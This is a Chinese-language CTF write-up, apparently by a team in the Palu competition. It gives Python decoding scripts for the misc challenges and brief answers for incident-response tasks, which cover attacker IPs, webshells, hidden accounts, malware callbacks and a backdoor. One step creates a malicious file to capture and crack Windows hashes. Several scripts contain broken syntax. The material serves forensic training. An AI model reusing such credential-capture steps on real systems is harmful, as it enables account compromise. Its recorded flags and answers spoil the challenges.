print(bytes_data[4] ^ ord('{'))  
for i in range(len(bytes_data)):  
    print(chr(bytes_data[i]^142),end='')

screenshot

stegsolve直接打开

时间循环的信使

打开日志 发现后面的有相同的字符对应的日志

提取一下 然后根据提示 按照时间戳排一下序 然后将他们拼接为十六进制字符串 最后解码得到flag

from typing import Tuple, List  

def extract_flag_verbose(log_path: str) -> Tuple[str, str]:  
    entries: List[Tuple[int, str]] = []  

    print('📄 开始读取日志文件并筛选格式合法的行...n')  

    with open(log_path, 'r') as file:  
        for line in file:  
            line = line.strip()  

            # 跳过标记行和格式错误的行  
            if any(line.startswith(prefix) for prefix in ('start_of_cycle', 'end_of_cycle')) or '|' not in line:  
                continue  

            try:  
                timestamp_str, value = line.split('|', 1)  
                timestamp = int(timestamp_str)  

                if len(value) == 8 and all(c == value[0] for c in value):  
                    print(f'✅ 符合条件: {timestamp} | {value}')  
                    entries.append((timestamp, value))  
                else:  
                    print(f'❌ 不符合(不是8个相同字符): {timestamp} | {value}')  
            except ValueError:  
                print(f'⚠️ 跳过无法解析的行: {line}')  
                continue  

    print('n🧮 共找到合法记录:', len(entries))  

    # 按时间戳升序排序  
    entries.sort(key=lambda x: x[0])  
    print('n⏳ 按时间戳排序后结果:')  
    for entry in entries:  
        print(f'{entry[0]} | {entry[1]}')  

    # 提取每个 value 的第一个字符  
    hex_str = ''.join(entry[1][0] for entry in entries)  
    print('n🔤 拼接首字符组成十六进制串:', hex_str)  

    # 解码为 ASCII 字符串  
    try:  
        flag = bytes.fromhex(hex_str).decode('utf-8')  
        print('n🎉 成功解码 ASCII 字符串为 flag:', flag)  
    except ValueError as e:  
        flag = '<解码失败>'  
        print('n❗ 解码失败:', e)  

    return hex_str, flag  


# 主程序入口  
if __name__ == '__main__':  
    log_file = 'D:Edge\timeloop.log\timeloop.log'   
hex_sequence, extracted_flag = extract_flag_verbose(log_file)  

    print('n=========================')  
    print('🧾 最终十六进制串:', hex_sequence)  
    print('🏁 解码得到的 Flag:', extracted_flag)  
    print('=========================')
#palu{Time_1s_cycl1c@l_0x}

TopSecret

翻阅看见

复制后base64解码发现

palu{You_re_a_real_50w}

时空交织的密语

data = [
    '63B05C87', '63B05C87', '63B05C80', '63B05C86',
    '63B05C81', '63B05C86', '63B05C8C', '63B05C87',
    '63B05C85', '63B05C87', '63B05C8B', '63B05C85',
    '63B05C84', '63B05C86', '63B05C89', '63B05C86',
    '63B05C8D', '63B05C86', '63B05C85', '63B05C85',
    '63B05C8F', '63B05C83', '63B05C81', '63B05C87',
    '63B05C83', '63B05C85', '63B05C8F', '63B05C84',
    '63B05C82', '63B05C83', '63B05C81', '63B05C86',
    '63B05C8E', '63B05C86', '63B05C81', '63B05C87',
    '63B05C82', '63B05C87', '63B05C89', '63B05C85',
    '63B05C8F', '63B05C85', '63B05C87', '63B05C86',
    '63B05C88', '63B05C86', '63B05C89', '63B05C87',
    '63B05C83', '63B05C87', '63B05C80', '63B05C86',
    '63B05C85', '63B05C87', '63B05C82', '63B05C87',
    '63B05C8D', '63B05C8D'
]

msg = ''

for i in data:
    msg += i[-1]
print(bytes.fromhex(msg[1:-1]))

量子迷宫

打开文件,发现内容是用base85编码

IMG_256

发现是以 QUBIT开头,题目还说是每一行是一个量子bit操作

那就去提取这个01序列,解码是flag

IMG_257
import base64
import re

try:
    with open('quantum_log.b85''r'as f:
        encoded = f.read().strip()
except FileNotFoundError:
    print('Error: quantum_log.b85 not found')
    exit(1)

try:
    decoded = base64.b85decode(encoded).decode('utf-8')
except (base64.binascii.Error, UnicodeDecodeError) as e:
    print(f'Error: Invalid base85 encoding - {e}')
    exit(1)

bits = [match.group(1for line in decoded.splitlines() if'QUBIT'in line and (match := re.search(r'QUBIT|([01])⟩', line))]
binary = ''.join(bits)

ifnot binary:
    print('Error: No valid QUBIT bits found')
    exit(1)

if len(binary) % 8 != 0:
    print(f'Warning: Binary length {len(binary)} is not multiple of 8, padding with zeros')
    binary += '0' * (8 - len(binary) % 8)

ascii_text = ''.join(chr(int(binary[i:i+8], 2)) for i in range(0, len(binary), 8))
print(f'Decoded ASCII: {ascii_text}')

应急响应

应急响应1-1

查看history,发现使用了docker,并且在/var/log目录下发现nginx,直接查看nginx的日志

发现攻击者的ip

应急响应1-2

在windows10机子下面垃圾桶里面找到一个简历.zip,里面存在一个exe恶意文件,将恶意文件放到奇安信情报沙箱上查看,发现第二个攻击者的ip地址

应急响应1-3

查看docker启的服务,发现存在三个服务

接下来查看每个对应的日志,发现在2025:03:05:58的时候存在大量请求,应该就是攻击者暴力破解开始时间

应急响应1-4

windows10查看计划任务,直接查看到flag1

应急响应1-5

windows10查看a.bat,直接查看到flag2

应急响应1-6

在webserver机子上面发现存在mysql登录的密码TOOR@123

在sql内台主机进行mysql登录

对最后一段进行解码得到flag

应急响应1-7

钓鱼文件就是windows10内台机子中的简历.zip中的恶意文件,直接计算hash

应急响应1-8

在webserver下进入root,密码也是root,一直查找,最后发现存在一个shell.php,hack就是webshell的key

应急响应1-10

第二个webshell就在webserver下的a.php文件中

应急响应1-11

kali添加和一个题目环境一样的网卡,生成一个恶意文件,放到win10这台主机上抓取hash

对system进行爆破,得到隐藏账户wmx_love

应急响应2-1

控制台->标签列表

应急响应2-2

身份验证

应急响应2-3

mysql服务器的flag库

应急响应2-4

查看雷池waf的攻击日志,发现后面几页有个发起大量攻击的ip。应该就是攻击者的ip

应急响应2-5

攻击时间

应急响应2-6

Web主页中有个/bak/key.txt

应急响应2-7

在key.txt最后面发现邮箱

应急响应2-8

在http://192.168.20.103:16303/logs/website网站日志中发现一个ip大量对网站进行扫描,应该就是攻击者的立足ip

应急响应2-10

在sshserver的/home/parloo中的parloo_flag01

应急响应2-14

雷池waf中的攻击日志筛选进行泄露,发现9999、3000等端口,一个个尝试一下,发现8081端口是对的

应急响应2-15

在server01的1Panel docker 环境中,有Web服务文件夹,其中的parloo档案网站的index.html中

应急响应2-16

查看gitea 中 维护页面的源码中,/admin/parloo有后门

应急响应2-18

留下的用户->hack

应急响应2-19

内部群的flag

应急响应2-26

在 server 的 /opt/parloo/command.log 中

应急响应2-30

在server中,攻击者添加了parloohack

parloohack/123456

应急响应2-32

在server的parloohack中的aa

应急响应2-36

palu01中,被创建了99个用户

应急响应2-37

palu01 的 C:a.vbs 中的密码

应急响应2-38

在gitea的数据库中,有攻击者留下的数据

应急响应2-39

通过修改admin密码登录后,发现私有库 palu,这里有flag

应急响应2-40

在mysql内台机子上查看历史记录,发现运行了一个.a文件并且计算过md5,那么怀疑攻击者留下的恶意文件就是这个

应急响应2-41

逆向分析 .a 文件,模拟通信函数

应急响应2-42

从strings里,看到隐藏文件

应急响应2-43

回到主函数,模拟权限提升函数

应急响应2-44

在子怡的电脑中,发现有下载记录

应急响应2-45

在palu02的内网通接收文件目录下

应急响应2-46

aa放到沙箱上,得到IP回连地址

应急响应2-47

在palu02的浏览器中有c2服务器登录名称/密码


结束


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]